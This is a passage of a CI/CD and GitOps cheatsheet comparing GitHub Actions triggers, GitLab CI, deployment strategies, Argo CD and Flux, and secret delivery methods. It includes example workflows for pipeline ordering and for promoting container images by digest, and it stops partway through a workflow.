CI/CD & GitOps Cheatsheet

How code gets from commit to production safely, and how to keep it there: pipeline design and build-once promotion, GitHub Actions triggers, permissions, caching and OIDC, untrusted pull requests, deployment strategies and database migrations, then GitOps with Kustomize, Helm, Argo CD and Flux, plus step-by-step playbooks for slow pipelines, OutOfSync loops, stuck syncs and reverted rollbacks. Each entry gives the problem, how it works, workflows and manifests checked with real linters, real-world notes and trade-offs.

Updated: 2026-10-10

32 entries

Quick tables

Reference and comparison tables for quick scanning.

GitHub Actions triggers compared

What each trigger runs, which commit it uses, and what it can reach. Values come from the GitHub docs (events that trigger workflows, GITHUB_TOKEN permissions, secure use) as of 2026-10; runner-side behavior was not run here.

GitHub Actions triggers compared
TriggerEvent sourceChecked-out ref (GITHUB_SHA / GITHUB_REF)Secrets available?GITHUB_TOKEN for fork PRsTypical useRisk
`push`A branch or tag pushed to this repository, including branches without a PR.Tip commit pushed / the updated ref (`refs/heads/x`, `refs/tags/x`).Yes: repository and organization secrets.Not applicable: fork contributors do not push to this repository.Post-merge build, release, cache warm-up on the default branch.No event for more than 5,000 branches or more than three tags pushed at once.
`pull_request`A PR in this repository (default types: opened, synchronize, reopened).Last merge commit / `refs/pull/N/merge`; head is `github.event.pull_request.head.sha`.Same-repo PR: yes. Fork PR: no, except `GITHUB_TOKEN`.Read-only: write permissions are lowered to read unless 'Send write tokens to workflows from pull requests' is on.CI build and tests on the merged result.Does not run with a merge conflict. Dependabot PRs are treated like fork PRs.
`pull_request_target`The same PR activity, run in the base repository's context.Last commit on the default branch / default branch (before GHES 3.20: the PR base branch).Yes: repository and organization secrets.Not lowered: the fork-PR read-only rule excludes this event, so the declared permissions apply.Labeling or commenting on fork PRs without running their code.Checking out the PR head and running it is a pwn request. Public repositories get a default blocking policy, enforced from 2026-11-02 per the docs.
`workflow_dispatch`Manual run from the UI, `gh workflow run` or the API, with optional inputs.Last commit on the chosen branch or tag / that ref.Yes.Not applicable: dispatching needs write access.Manual deploys, one-off maintenance, rerunning a release.The UI button needs the file on the default branch. Inputs are untrusted strings for injection purposes.
`schedule`A cron expression, UTC by default (github.com also accepts an optional `timezone` key), minimum interval 5 minutes.Last commit on the default branch / default branch.Yes.Not applicable: no pull request is involved.Nightly builds, dependency audits, stale-issue sweeps.Default branch only. Delayed at the start of the hour under load. Disabled after 60 days without activity in a public repository.
`workflow_run`Another workflow was requested or completed (any conclusion).Last commit on the default branch / default branch.Yes, even when the triggering run had none.Not lowered: it gets secrets and a write token, even if the triggering run came from a fork.Commenting test results or publishing after an unprivileged PR build.Artifacts from the triggering run are untrusted. Chains stop early: in the docs' A to F example, E and F do not run. Cache access is read-only in the default branch scope.
`workflow_call`A job in another workflow with `uses:`.Same as the caller workflow.Only what the caller passes, by name or with `secrets: inherit`.Capped by the caller's token, which already follows the caller's event rules.Shared build or deploy pipeline.Up to ten levels and 50 unique workflows per file on github.com (four and 20 on GHES). A caller's `env` is not propagated.
`release`A release published, created, edited, deleted or prereleased.Last commit in the tagged release / `refs/tags/<tag_name>`.Yes.Not applicable.Publish packages and attach assets for a tagged version.Draft releases do not trigger created, edited or deleted. Use `published` to cover prereleases published from drafts.
`merge_group`A merge queue builds a temporary group (`checks_requested`).SHA of the merge group / ref of the merge group.Yes.Not applicable.Run required checks on the exact result the queue will merge.Without the trigger, the merge fails because the required check is never reported.
`repository_dispatch`A POST to the repository dispatch API with a custom `event_type`.Last commit on the default branch / default branch.Yes.Not applicable: the API call needs write access.Trigger a pipeline from another repository or an external system.`event_type` up to 100 characters. `client_payload` up to 10 top-level properties and 65,535 characters, and it is untrusted input.

Default token permissions come from the enterprise, organization or repository setting: restricted is read on `contents` and `packages` only, permissive is read and write on everything. The workflow-level and job-level `permissions:` blocks then adjust it, and any scope not listed becomes `none`.

GitLab CI/CD vs GitHub Actions

Concept mapping for people moving between the two. GitLab details are from docs.gitlab.com and GitHub details from docs.github.com, as of 2026-10; neither server was run here.

GitLab CI/CD vs GitHub Actions
ConceptGitLab CI/CDGitHub ActionsDiffers in
Pipeline / workflowOne `.gitlab-ci.yml` at the repository root, extended with `include`. One pipeline per commit or event.Any number of files in `.github/workflows/`, each with its own `on:` triggers.GitLab builds a single pipeline graph; in Actions every workflow starts independently and ordering between them needs `workflow_run` or `workflow_call`.
Stages, needs and jobs`stages` run in order (default `.pre`, `build`, `test`, `deploy`, `.post`); jobs in a stage run in parallel; `needs` (up to 50 jobs) starts a job earlier.Jobs run in parallel by default; `jobs.<id>.needs` creates ordering.GitLab defaults to stage order and `needs` opts out of it. Actions has no stages and `needs` opts in.
Conditions`rules` with `if`, `changes` (up to 50 patterns), `exists`; `workflow:rules` decides whether the pipeline exists.`on:` event, branch and path filters, plus `if:` on jobs and steps.A GitLab job excluded by `rules` is not added to the pipeline; an Actions job with a false `if` appears as skipped.
Cache`cache` with `key`, `key:files` (up to 10 files), `fallback_keys` (up to five), `policy`. Stored on the runner, or in S3 with a distributed cache.`actions/cache` with `key` and `restore-keys`, stored in GitHub's cache service: 10 GB per repository, 7 days unused.GitLab separates caches for protected and non-protected branches by default and says a cache is not guaranteed. Actions scopes caches by branch and base branch.
Artifacts`artifacts:paths`, `expire_in`; with `needs`, artifacts of needed jobs are downloaded by default (`artifacts: true`).`actions/upload-artifact` and `actions/download-artifact`, explicit in both directions.GitLab passes artifacts between jobs implicitly; Actions needs a step on each side.
Environments`environment:` with name and URL; protected environments; deployment approvals on Premium and Ultimate.`environment:` with required reviewers, wait timer, branch rules and environment secrets.A GitLab deployment approval does not start the job; someone must run it. A GitHub approval releases the waiting job.
Variables and secretsCI/CD variables on project, group and instance; masked (single line, no spaces, at least 8 characters), protected (protected branches and tags only), file type, hidden.`secrets` and `vars` at organization, repository and environment level; the lowest level wins.GitLab's protected flag ties a variable to protected refs; GitHub scopes through environments and withholds secrets from fork PRs.
OIDC to the cloud`id_tokens:` per job with a required `aud`; `sub` like `project_path:group/project:ref_type:branch:ref:main`.`permissions: id-token: write`; `sub` like `repo:ORG/REPO:ref:refs/heads/main`, or `...:environment:NAME` with an environment.GitLab declares each token and audience in the job; GitHub requests the audience at request time. GitHub's `sub` switched to an immutable owner and repo id form for repositories created after 2026-07-15.
Reuse`include` (local, project, remote, template, component), `extends`, YAML anchors.Reusable workflows with `workflow_call` at job level; composite actions at step level.`include` merges YAML into one pipeline; a reusable workflow runs as separate jobs behind an inputs and secrets contract.
Runner selection`tags:` on the job must match runner tags.`runs-on:` labels (`ubuntu-latest`, self-hosted labels).Same idea. GitHub-hosted labels are a managed fleet; GitLab runners are registered with explicit tags.
Manual jobs and approvals`when: manual` (manual jobs default to `allow_failure: true`); protected environments for who may run.Environment required reviewers; `workflow_dispatch` for manual starts.GitLab pauses a pipeline at a play button; GitHub pauses a job at an environment gate.
Pull / merge request runs`rules` on `$CI_PIPELINE_SOURCE == "merge_request_event"` creates merge request pipelines; merged results pipelines are separate. Fork MRs run in the fork project.`pull_request` runs on the merge commit by default; fork runs get no secrets and a read-only token.A GitLab merge request pipeline tests the source branch only unless merged results are enabled. A fork pipeline uses the fork's runners and variables, so parent secrets stay unavailable.
Concurrency and cancel`resource_group` (semaphore, process mode `unordered` by default); `interruptible` and auto-cancel for redundant pipelines.`concurrency.group` with `cancel-in-progress`.GitLab separates locking a resource from cancelling superseded pipelines; Actions uses one key for both.
Matrix`parallel:matrix`, at most 200 permutations.`strategy.matrix`, at most 256 jobs per run, with `include`, `exclude`, `fail-fast`.Limits differ (200 vs 256). Actions has `fail-fast` and `max-parallel` controls built into the strategy.

Neither mapping is one-to-one. The right-hand column lists the semantic difference most likely to break a migrated pipeline.

Deployment strategies compared

Six ways to put a new version in front of users, compared on cost, undo speed, exposure and what the database and the platform must support. Rolling-update mechanics are on the kubernetes sheet; the traffic-splitting facts come from the Gateway API source and the Kubernetes and SRE documentation, not from a running cluster.

Deployment strategies compared
StrategyExtra capacityRollback speedBlast radiusDatabase requirementInfrastructure neededTypical tooling
RecreateNone; downtime instead, because old instances stop before new ones start.Slow: another full stop and start of every instance.All users, plus the downtime window.Versions never overlap, so incompatible changes are possible, but the migration needs a maintenance window.Nothing special.Kubernetes `strategy.type: Recreate`, a deploy script.
RollingBounded surge; Kubernetes defaults to `maxSurge` 25% and `maxUnavailable` 25%.As slow as the forward roll: a second rolling update to the previous revision.Grows as instances are replaced; the rollout stalls if new Pods never become Ready.Old and new versions serve together, so every change must be backward compatible.Readiness checks that reflect real health.Kubernetes Deployment, `helm upgrade`.
Blue-greenA full second environment (about 2x) while both exist.Seconds: switch the router or selector back, if blue is still running.All users at the moment of the switch, but after testing on the idle side.One database must serve both colours, so expand/contract is required.A switchable router, Service selector or load balancer, and an idle environment equal to production.Service selector, Argo Rollouts `blueGreen`, load balancer target groups.
CanarySmall: a few extra Pods or a small weight on the new version.Seconds to a minute: set the canary weight to 0.The canary share, for example 5% of requests.Two versions run at once, so backward-compatible schema changes are required.Weighted routing plus metrics split by version and written abort criteria.Gateway API weights, Argo Rollouts, Flagger, a service mesh.
Shadow (mirror)Extra load on the new version and its dependencies for the mirrored share (up to 100% extra).Nothing to undo for users: stop mirroring.None through responses, which are discarded, but side effects and dependency load are real.The shadow must not write to production data; use stubs, a copy or read-only access.Request mirroring in the gateway or mesh and a way to compare results.Gateway API `RequestMirror`, Istio mirroring, GoReplay.
A/B testSmall, but kept for days or weeks while both variants run.Seconds: turn the variant off with a flag or a routing rule.The assigned cohort, kept stable per user.Both variants live for a long time, so the compatibility window is long.Sticky assignment (user id or header), event tracking and statistical analysis.Feature flag platforms such as flagd `fractional`, LaunchDarkly or Unleash; header-match routing.

Kubernetes defaults and the Recreate semantics are from the Deployment documentation; weights and mirroring are from the Gateway API source; the canary definition is from the Google SRE workbook. Support for weights and RequestMirror varies by gateway implementation, and `percent` or `fraction` on RequestMirror needs Gateway API v1.3 or later in the standard channel. None of this was run against a cluster.

Argo CD versus Flux

Both are pull-based reconcilers, but they split the work differently. Statements follow the Argo CD and Flux docs as of 2026-10 and were not run here; defaults can change between versions.

Argo CD versus Flux
AspectArgo CDFluxWhat changes in practice
Object modelOne `Application` per deployed unit holds source, destination, project and sync policy; `AppProject` bounds a team; `ApplicationSet` generates Applications.Split objects: a source (`GitRepository`, `OCIRepository`, `HelmRepository`, `Bucket`) plus a consumer (`Kustomization` or `HelmRelease`), each with its own `Ready` condition.Argo CD is one object to read per app. Flux sources can be shared, but a failure can sit in either object.
Sync triggerPolls Git every 120 s plus up to 60 s jitter (`timeout.reconciliation`), takes webhooks at `/api/webhook`, and also refreshes when a child resource changes.`spec.interval` on the source and again on the Kustomization (minimum 60 s); a spec or revision change is handled immediately; `Receiver` webhooks; `flux reconcile`.Without a webhook both take minutes. In Flux the source interval and the Kustomization interval are separate steps.
Drift handlingCompares on every refresh. Automated sync is opt-in, and `selfHeal` and `prune` default to false. Fields are excluded with `ignoreDifferences` plus `RespectIgnoreDifferences=true`.A server-side apply dry-run on every interval corrects drift, `prune` is a required field, and the annotations `prune: disabled` and `ssa: Merge` tune single objects. `suspend` pauses correction.Argo CD can show drift and wait for a person. Flux corrects it at the next interval unless the object is suspended or annotated.
Helm handlingRenders with `helm template` and manages the lifecycle itself, so `helm ls` shows nothing. Helm hooks are mapped to Argo CD hooks.`HelmRelease` runs real Helm install, upgrade, test and rollback; Helm runs the hooks; `remediation.retries` defaults to 0; `driftDetection` is optional.Hook-heavy charts and tools that read Helm release history behave differently; try a chart under the controller you will use.
Dependencies and orderingPhases and `sync-wave` order resources inside one Application and wait for each wave to be healthy (2 s delay by default). Waves across child Applications need the Application health check restored.`dependsOn` between Kustomizations or HelmReleases waits for `Ready`; `wait` or `healthChecks` extend that to workload health; `readyExpr` allows a custom rule.Argo CD orders resources within a sync, Flux orders whole objects. Independent apps are not ordered for you in either.
Multi-tenancy and RBAC`AppProject` limits `sourceRepos`, `destinations` and resource kinds, with project roles and RBAC for UI and API users. The `default` project allows everything.Kubernetes-native: a Kustomization applies as cluster admin unless `serviceAccountName` impersonates a narrower account; `--default-service-account` enforces one.Argo CD gates through its own project model. Flux relies on the RBAC of the impersonated account.
UI and CLIA web UI and the `argocd` CLI (`app diff`, `app sync`, `app rollback`, `app get --refresh`).The `flux` CLI and kubectl. The project ships no UI of its own (FAQ); third-party UIs exist.In Flux, diagnosis means object conditions, events and the CLI.
Image automationA separate project, Argo CD Image Updater, with `ImageUpdater` resources and an `argocd` (default) or `git` write-back.Optional controllers: `ImageRepository`, `ImagePolicy` (semver, alphabetical, numerical) and `ImageUpdateAutomation`, which commits to Git.The default Argo CD write-back is not stored in Git. Flux always writes a commit.
NotificationsArgo CD Notifications: triggers and templates, with a catalog of ready-made ones.notification-controller: `Provider` (where to send) and `Alert` (which events) for outbound messages, `Receiver` for inbound webhooks.Both can post to chat. Flux alerts can follow events of any Flux object.
Rollback model`argocd app rollback APP [ID]` returns to a history entry, and the docs say a rollback cannot be performed with automated sync enabled. Otherwise revert in Git.No rollback for a Kustomization: revert in Git, or `suspend` to hold. A `HelmRelease` remediates a failed upgrade with `strategy: rollback` (default) after `retries`.In both, a lasting rollback is a Git commit. Controller-side rollbacks are temporary or failure-triggered.

Argo CD refresh interval: the FAQ gives 120 s plus up to 60 s jitter, so the maximum wait is about 3 minutes. The Flux minimum interval and the `strategy: rollback` default come from the kustomize-controller and helm-controller specs.

Argo CD sync and health status

Sync status compares Git with the cluster (Synced, OutOfSync, Unknown); health assesses the resources (Healthy, Progressing, Degraded, Suspended, Missing, Unknown). They are independent, so read both. Application health is the worst health of its immediate children, ranked Healthy, Suspended, Progressing, Missing, Degraded, Unknown. Rows marked (inference) combine documented definitions and were not run here.

Argo CD sync and health status
SyncHealthUsual meaningNext action
SyncedHealthyLive state equals Git and every resource passes its health check.Nothing to do. If a rollout was expected, check the revision the Application reports.
SyncedProgressingApplied as declared but not finished: a Deployment still rolling out, a LoadBalancer Service or Ingress without an address, a Pod with `restartPolicy: Never` still running, or a custom check that returns Progressing.Find the resource and its health message (`status.resources[].health`). Wait, or fix the cause. A new sync applies nothing new.
SyncedDegradedManifests match Git but a resource failed: `ProgressDeadlineExceeded`, CrashLoopBackOff, a failed Job, an aborted Rollout.Fix forward or revert in Git. Syncing again re-applies the same manifests.
SyncedSuspendedA resource is paused: a paused Deployment, a suspended Job, a Rollout stopped at a pause step. A suspended CronJob reports Healthy in the bundled check (as of 2026-10).Resume or promote it (`kubectl argo rollouts promote`), or confirm the pause is intended.
SyncedMissingMissing means the resource is absent from the cluster, which normally shows as OutOfSync; with Synced it points to an excluded or stale comparison (inference).Hard refresh; check `IgnoreExtraneous`, resource exclusions and the Application conditions.
SyncedUnknownThe health assessment failed for at least one resource, so the Application takes the worst value.Check the custom Lua health check for that kind (error or missing) and the controller logs.
OutOfSyncHealthyGit changed, the live object drifted, or objects are waiting to be pruned; what runs is fine.`argocd app diff`, then sync or wait for automated sync. If it returns right after a sync, see Drift, Self-Heal and Prune.
OutOfSyncProgressingA sync is under way, or an earlier rollout is still moving while Git has advanced.Wait for the operation. If it is stuck, read `operationState.message` and the hook or wave it names.
OutOfSyncDegradedThe running version is failing and Git differs from live, often because a fix is already committed.Sync the fix. If the fix is a revert, check automated sync and `selfHeal` first.
OutOfSyncSuspendedA resource is paused while Git has moved on, for example a rollout paused on the previous version.Decide between resuming the old rollout and syncing the new version.
OutOfSyncMissingObjects declared in Git are not in the cluster yet: a first sync, deleted objects, or a destination namespace that does not exist.Sync (`CreateNamespace=true` for a missing namespace). With `selfHeal` on, deleted objects are created again.
OutOfSyncUnknownResources differ and at least one health check could not be evaluated.Fix the health check first, since health cannot judge the sync result until it works.
UnknownHealthyThe comparison could not be reliably determined while the live resources look healthy (inference).Read the Application conditions: repo-server, credentials or manifest generation errors. Hard refresh after fixing.
UnknownProgressingHealth comes from live resources and is still moving, but the comparison failed (inference).Fix the comparison error first; it may block the sync that would finish the rollout.
UnknownDegradedA failing workload together with a comparison error, which may be the cause (a bad manifest) or unrelated (inference).Read the Application conditions, then the workload events.
UnknownSuspendedA paused resource together with a comparison error (inference).Fix the comparison, then resume or promote.
UnknownMissingTypical for a new Application whose manifests cannot be generated: nothing deployed and no comparison (inference).Read the manifest generation error; check the source repository, path and credentials.
UnknownUnknownNothing could be evaluated: the cluster is unreachable, the project denies the source or destination, or the controller has not processed the Application yet (inference).Check the cluster connection and the AppProject, then the application-controller logs.

Definitions: SyncStatusCodeUnknown is 'the status of a sync could not be reliably determined' and Health Unknown is 'health assessment failed and actual health status is unknown' (Argo CD and gitops-engine source). The worst-of ranking is from the Resource Health doc.

Secret delivery methods compared

Four ways to get a secret into a GitOps cluster without a plain text Secret in Git. Statements follow the Sealed Secrets README, the SOPS docs, the External Secrets docs, the Vault and Secrets Store CSI docs and the Flux and Argo CD docs as of 2026-10; none of it was run here.

Secret delivery methods compared
MethodWhere the secret livesWho can decryptRotationAuditDisaster recoveryCluster-external dependency
Sealed SecretsCiphertext in Git as a `SealedSecret`. A normal `Secret` appears in the cluster after unsealing.Only the controller holding the sealing private key, not even the author. The default `strict` scope binds name and namespace.The sealing key is renewed every 30 days and old keys are kept, but that is not secret rotation: change the real value and seal again. After a leak, renew early with `--key-cutoff-time`.Git history shows who changed the ciphertext. Reads of the resulting Secret show up in Kubernetes auditing, if it is enabled.Back up the Secrets labelled `sealedsecrets.bitnami.com/sealed-secrets-key`. Recreate the backup after each key renewal. Without the keys every value has to be re-issued and sealed again.None at runtime. The key backup must live outside the cluster.
SOPS (Flux native, Argo CD through a plugin)Encrypted values in files in Git, structure readable. A normal `Secret` appears after Flux decrypts with `spec.decryption`.Holders of a master key: an age or PGP private key, or access to AWS KMS, GCP KMS, Azure Key Vault or Vault.`sops updatekeys` to change recipients, then `sops rotate -i` for the data key, then change the real values.Git history shows which keys changed. A cloud KMS or Vault logs its own decrypt calls.Git plus the master key. An age key that exists only in the cluster or on one laptop is lost with it.None for age. KMS or Vault must be reachable for those key types.
External Secrets OperatorThe value stays in an external store. Git holds only `ExternalSecret` and `SecretStore` references. A normal `Secret` is created in the cluster.The operator through its store credentials, with permission to read and write Secrets in all namespaces. Store policies limit the paths.Rotate in the store. `refreshPolicy: Periodic` with `refreshInterval` copies the new value; `OnChange` and `CreatedOnce` do not.The store's audit log shows reads by the operator identity. Git shows changes to the references.Git restores the references. The store and the operator's credentials must exist; `creationPolicy: Orphan` keeps a Secret if its ExternalSecret is deleted.Yes: the external API must be reachable to create and refresh the Secret.
Vault Agent Injector or Secrets Store CSIOnly in Vault or the provider. Rendered into a memory volume (`/vault/secrets`) or mounted by CSI, and optionally mirrored as a Secret with `secretObjects`.Whatever the Vault policy allows for the identity the pod authenticates as. The application container reads files.Rotate in Vault. The agent sidecar keeps rendering; CSI needs `--enable-secret-rotation`; an environment variable changes only after a restart.Vault's audit log records reads by the pod identity. Git shows the annotations or SecretProviderClass.Nothing secret in Git. Recover Vault and its auth configuration, then the pods fetch again.Yes: at pod start and during renewal, there is no secret without Vault.

Argo CD's secret-management page recommends populating secrets on the destination cluster (Sealed Secrets, External Secrets Operator, the CSI driver) and cautions against injecting them during manifest generation, because generated manifests are cached in plain text in Redis. Kubernetes auditing and provider audit logs depend on how they are configured.

Pipeline fundamentals

Order checks so the cheapest and most likely failures surface first, express real dependencies with `needs`, run independent jobs in parallel, and budget the minutes between push and verdict.

The problem

A pull request takes 38 minutes to turn red. Lint runs after a 25-minute integration suite because the stages were added in the order somebody thought of them, so a typo that a 20-second check would have caught holds a runner for most of an hour. Engineers stop watching the checks, push more commits while the old run is still going, and the run queue grows. Stage order and dependencies decide how soon a failure becomes visible, regardless of how fast any single test is.

How it works

  • Wall-clock time is the longest path through the `needs` graph, not the sum of the jobs. In the example workflow `lint` and `unit` start together, `build` waits for both, then `integration` and `e2e` run side by side. With illustrative durations of 2, 6, 4, 12 and 20 minutes the serial total is 44 minutes but the critical path is `max(2, 6) + 4 + max(12, 20) = 30`. Speeding up a job that is off the critical path changes nothing.
  • Order checks by cost and by how often they fail: formatting, lint, type-check and unit tests first, anything that needs a built artifact or a running environment (integration, end-to-end) after `build`. The question for each stage is whether its failure makes the later stages pointless; add a `needs` edge only if it does.
  • Per the GitHub docs, `needs` lists jobs that must complete successfully: if a job fails or is skipped, every job that needs it is skipped unless it uses a conditional such as `always()`. That is the fail-fast behaviour that saves runner minutes, and the reason report, cleanup and gate jobs need `if: always()` to still run.
  • A job without `needs` starts immediately, so independent checks run in parallel by default and cost extra setup minutes (checkout, cache restore, toolchain install) once per job. Splitting a 10-minute job into five 2-minute jobs lowers latency only if setup is cheap relative to the work.
  • The graph is validated before anything runs. Observed on actionlint 1.7.12: `job "c" needs job "missing" which does not exist in this workflow [job-needs]`, and for a loop `cyclic dependencies in "needs" job configurations are detected. detected cycle is "a" -> "b" -> "a" [job-needs]`. When both mistakes were present only the missing-job error was printed, so re-run after fixing the first.
  • Stale runs waste the most minutes. A `concurrency` group keyed on the pull request (`ci-${{ github.workflow }}-${{ github.head_ref || github.run_id }}`) with `cancel-in-progress` set only for `pull_request` cancels the superseded run when a new commit arrives, while push runs on `main` fall back to a unique `run_id` group and always finish. Never cancel a deployment this way.
  • `timeout-minutes` defaults to 360 per job (per the docs), so a hung test can hold a runner for six hours. Set it per job to a few times the usual duration so a hang becomes a red check in minutes.
  • Measure two numbers separately: time to first failure and time to green. `gh run view RUN_ID --json jobs` exposes `startedAt`, `completedAt` and `conclusion` per job, enough to rebuild the critical path from history (not run here, no repository access). Choose a feedback budget such as ten minutes to the first verdict on a pull request; the figure is a team decision, not a standard.

Examples

Cheap checks first, build after both, slow suites side by side; superseded pull request runs are cancelled (actionlint 1.7.12 clean).

yaml
name: ci
on:
  pull_request:
  merge_group:
  push:
    branches: [main]

concurrency:
  group: ci-${{ github.workflow }}-${{ github.head_ref || github.run_id }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}

permissions:
  contents: read

jobs:
  lint:
    runs-on: ubuntu-latest
    timeout-minutes: 5
    steps:
      - uses: actions/checkout@v7
      - run: make lint

  unit:
    runs-on: ubuntu-latest
    timeout-minutes: 10
    steps:
      - uses: actions/checkout@v7
      - run: make test-unit

  build:
    needs: [lint, unit]
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@v7
      - run: make build

  integration:
    needs: build
    runs-on: ubuntu-latest
    timeout-minutes: 20
    steps:
      - uses: actions/checkout@v7
      - run: make test-integration

  e2e:
    needs: build
    if: github.event_name != 'pull_request' || contains(github.event.pull_request.labels.*.name, 'run-e2e')
    runs-on: ubuntu-latest
    timeout-minutes: 30
    steps:
      - uses: actions/checkout@v7
      - run: make test-e2e

Lint the graph locally, then list per-job start and end times of a run to find the critical path.

bash
# A broken dependency graph is rejected before any runner starts
actionlint .github/workflows/ci.yml
# .github/workflows/ci.yml:13:3: job "c" needs job "missing" which does not exist in this workflow [job-needs]

# Critical path from a finished run: one line per job, ordered by start time
RUN_ID=${1:?run id}
gh run view "$RUN_ID" --json jobs \
  --jq '.jobs[] | [.startedAt, .completedAt, .conclusion, .name] | @tsv' | sort

In practice

  • GitHub Actions — Jobs run in parallel unless linked by `needs`; `concurrency` and `cancel-in-progress` drop superseded runs, and `timeout-minutes` bounds hung jobs.
  • GitLab CI/CD — Jobs in a stage run in parallel and stages run in order; `needs:` lets a job start as soon as the jobs it lists finish, so the pipeline becomes a DAG instead of strict stages.
  • Buildkite — Pipelines are lists of steps in which `wait` steps and `depends_on` express the ordering, so cheap checks can gate the expensive ones.
  • Nx — Computes a task graph from `dependsOn` and the project graph, then runs independent tasks in parallel, which is the same critical-path logic inside a build tool.
  • Bazel — Executes the action graph with as much parallelism as dependencies allow, so only the longest chain of actions decides build latency.

Trade-offs

Pros

  • Failures surface in minutes, so authors still have the change in their head
  • Skipped downstream jobs save runner minutes on every red run
  • A critical-path view shows which job is worth optimising and which is not
  • Cancelling superseded runs keeps the queue short on busy branches

Cons

  • Every `needs` edge serialises work and lengthens time to green when the earlier job passes
  • Fail-fast reveals one failure per round trip, so a change with three problems costs three pushes
  • Parallel jobs repeat checkout, cache restore and setup, raising total billed minutes
  • Cancel-in-progress can cancel a run somebody wanted to read, and must never apply to deployments

Build the image one time, identify it by digest instead of a mutable tag, and promote that exact artifact through staging and production instead of rebuilding per environment.

The problem

Staging passed on Monday. On Wednesday production is rebuilt from the same commit, and a moved base image tag, an unpinned dependency or a different build argument means production runs bytes nobody tested. Or the environments are tracked by tags such as `staging` and `latest` that get overwritten, so the answer to what is running in staging depends on when you looked. Promotion should move a reference to one artifact, not repeat the construction.

How it works

  • A tag is a mutable pointer and a digest is a content address. Observed on Docker 29.8.2: `docker tag demo-app:build2 demo-app:staging` moved `staging` from `sha256:63323117b0ee` to `sha256:5b82df4ed779`, and the old image stayed reachable only by its digest. On a registry the same happens silently: pushing `sha-1a2b3c4` twice with different content moved that tag from `sha256:6d8b2f513165` to `sha256:db253408fd7e` (the throwaway test registry had no immutability setting). Amazon ECR can reject this per repository with `ImageTagAlreadyExistsException` when tag immutability is on (per the docs).
  • Rebuilding the same commit does not reproduce the digest by default. Two `docker build --no-cache` runs of an identical context gave `sha256:63323117b0ee` and `sha256:5b82df4ed779`, differing in the image `created` timestamp. With `SOURCE_DATE_EPOCH=0 --provenance=false --sbom=false` two builds gave the same `sha256:6d8b2f513165`, which holds only while every layer file has a fixed mtime (a `COPY` of files with epoch mtimes). Re-checked on Docker 29.8.2 with buildx 0.37.1: a Dockerfile with a `RUN` step that writes files still produced different image ids under `SOURCE_DATE_EPOCH=0`, and two OCI exports of it matched only with the exporter option `rewrite-timestamp=true` (BuildKit 0.13 or later; it conflicts with `unpack`, so it does not apply to the default local image store export). Leaving provenance on kept the platform manifest identical (`d1145ed17223` both times) but the top-level index digest still differed (`5699bd92e255` against `f90afaeebaf8`) because of the attestation manifest. Same source is not the same digest, so promotion should reuse the artifact instead of hoping for reproducibility.
  • Promote by copying a reference, not by building: `docker buildx imagetools create --tag REG/app:staging REG/app@sha256:...` copies the manifest without pulling layers (the log reads `copying sha256:... from ... to ...`). skopeo offers `copy --preserve-digests` and crane offers `crane tag IMG TAG` for the same job (per their docs).
  • Retagging can change the digest. `--prefer-index` defaults to true, so a single-platform manifest is wrapped in a new OCI index: promoting `sha256:6d8b2f513165` produced `sha256:730b4b01a608` for both `staging` and `production`, an index that still points at the original image manifest. `--prefer-index=false` made a carbon copy with the identical digest (`sha256:db253408fd7e`). A source that is already an index kept its digest (`sha256:5699bd92e255`). Compare `--format '{{.Manifest.Digest}}'` after promoting, or deploy the source digest.
  • Deploy by digest. In a pull by `localhost:5055/demo-app:wrongtag@sha256:db25...` the tag did not exist in the registry and the pull still succeeded, which shows that the digest decides and the tag is only a label. `docker/build-push-action` exposes `digest`, `imageid` and `metadata` outputs (per its action.yml), and actionlint checks the reference: `property "digst" is not defined in object type {digest: string; imageid: string; metadata: string}`.
  • Anything that differs per environment must be injected at deploy time (environment variables, config maps, Helm values, secrets), never baked in with `--build-arg`. Changing only `--build-arg GIT_SHA` changed the digest (`sha256:23fab45676e5`), so a per-environment build argument makes per-environment builds unavoidable.
  • Keep identity chains explicit: the commit SHA becomes the image tag (`sha-1a2b3c4`), a semantic version is attached as a human label at release time to the same digest, and the deploy record stores the digest. From a running container you can read back what the node pulled with the pod's `status.containerStatuses[].imageID` (not run here, no cluster).
  • Evidence belongs to the digest. Tests, scan results and, at most, provenance and signature attestations attach to the digest, so the production gate asks whether this digest passed staging, not whether the branch was green. Approvals sit between the `staging` and `production` jobs through environments.

Examples

Rebuilding is not promoting: identical inputs give a new digest until timestamps and attestations are pinned, and layer file mtimes too when a RUN step writes files (observed on Docker 29.8.2, containerd image store).

bash
# Same context, built twice
docker build --no-cache -q -t demo-app:a .
docker build --no-cache -q -t demo-app:b .
docker image inspect -f '{{.Id}}' demo-app:a demo-app:b      # two different ids

# Fixed timestamps and no per-build attestation: identical digest when every layer file has a fixed mtime
# (with a RUN step that writes files, export with --output type=oci,dest=app.tar,rewrite-timestamp=true instead)
export SOURCE_DATE_EPOCH=0
docker build --no-cache -q --provenance=false --sbom=false -t demo-app:c .
docker build --no-cache -q --provenance=false --sbom=false -t demo-app:d .
docker image inspect -f '{{.Id}}' demo-app:c demo-app:d      # same id twice

Promote by retagging the source digest; check which flavour of copy you got.

bash
REG=registry.example.com/demo-app
SRC=$(docker buildx imagetools inspect "$REG:sha-1a2b3c4" --format '{{.Manifest.Digest}}')
echo "$SRC"

# Default --prefer-index=true wraps a single manifest in a new index: new digest
docker buildx imagetools create --tag "$REG:staging" "$REG@$SRC"
docker buildx imagetools inspect "$REG:staging" --format '{{.Manifest.Digest}}'

# Carbon copy: same bytes, same digest
docker buildx imagetools create --prefer-index=false --tag "$REG:production" "$REG@$SRC"
docker buildx imagetools inspect "$REG:production" --format '{{.Manifest.Digest}}'

One build job, one digest output, two deployments that reference it; nothing is rebuilt between environments (actionlint 1.7.12 clean).

yaml
name: build-and-promote
on:
  push:
    branches: [main]

permissions:
  contents: read

env:
  IMAGE: ghcr.io/example-org/demo-app

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      packages: write
    outputs:
      digest: ${{ steps.push.outputs.digest }}
    steps:
      - uses: actions/checkout@v7
      - uses: docker/setup-buildx-action@v4
      - uses: docker/login-action@v4
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}
      - id: push
        uses: docker/build-push-action@v7
        with:
          context: .
          push: true
          tags: ${{ env.IMAGE }}:sha-${{ github.sha }}

  staging:
    needs: build
    runs-on: ubuntu-latest
    environment: staging
    steps:
      - run: ./deploy.sh staging "$IMAGE@$DIGEST"
        env:
          DIGEST: ${{ needs.build.outputs.digest }}

  production:
